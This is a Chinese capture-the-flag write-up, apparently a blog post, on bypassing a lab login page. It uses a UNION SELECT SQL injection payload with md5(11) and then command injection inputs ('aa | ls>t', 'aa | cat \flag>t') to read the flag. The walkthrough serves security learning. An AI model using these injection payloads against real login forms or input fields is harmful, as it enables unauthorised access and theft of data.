ctf-WEB-login2(sql注入)

题目地址:跳转提示

打开网址,是一个熟悉的登陆页面,几次登录尝试发现报错回显只有一种

应当不是基于布尔的盲注,bp抓包看看:

发现响应中有一串奇怪的字符,尝试使用base64解码,得到:

这应该是一个提示,需要绕过其判断条件

这里就可以利用联合查询来注入(union select)

之前说过,union select后面加数字串时,如果没有后面的表名,则该语句没有向任何一个数据库查询,那么它输出的内容就是select后的数字,并且使用联合查询要求必须保证前后查询的字段数一致,因此要绕过判断条件,可以payload

username=admi' UNION SELECT 1,md5(11)#&password=11,登录成功

这样就相当于:

$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
if (!empty($row) && $row['password']===md5($password)){
}

要注意,提取数据时很可能只取了结果集的第一行数据,所以要保证输入的用户名是错误的,以确保$row['password']===md5(11);

实验了一下上述语句,推测$row的结构如下:
 

<?php
if($link=mysqli_connect("127.0.0.1","root","root","test")){
	$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
	if($result=mysqli_query($link,$sql)){
		$raw=mysqli_fetch_array($result);
		var_dump($raw);
		mysqli_close($link);
	}else{
		echo mysqli_error;
		die();
	}
}else{
	echo mysqli_connect_error();
	die();
}
?>

 果然登录成功:

随便输入ls,发现结果显示使用了grep命令

再输入命令aa | ls>t

访问网站t目录,果然看到了ls结果

于是尝试输入 aa | cat \flag>t

打开t

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

榴莲 蛋挞

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值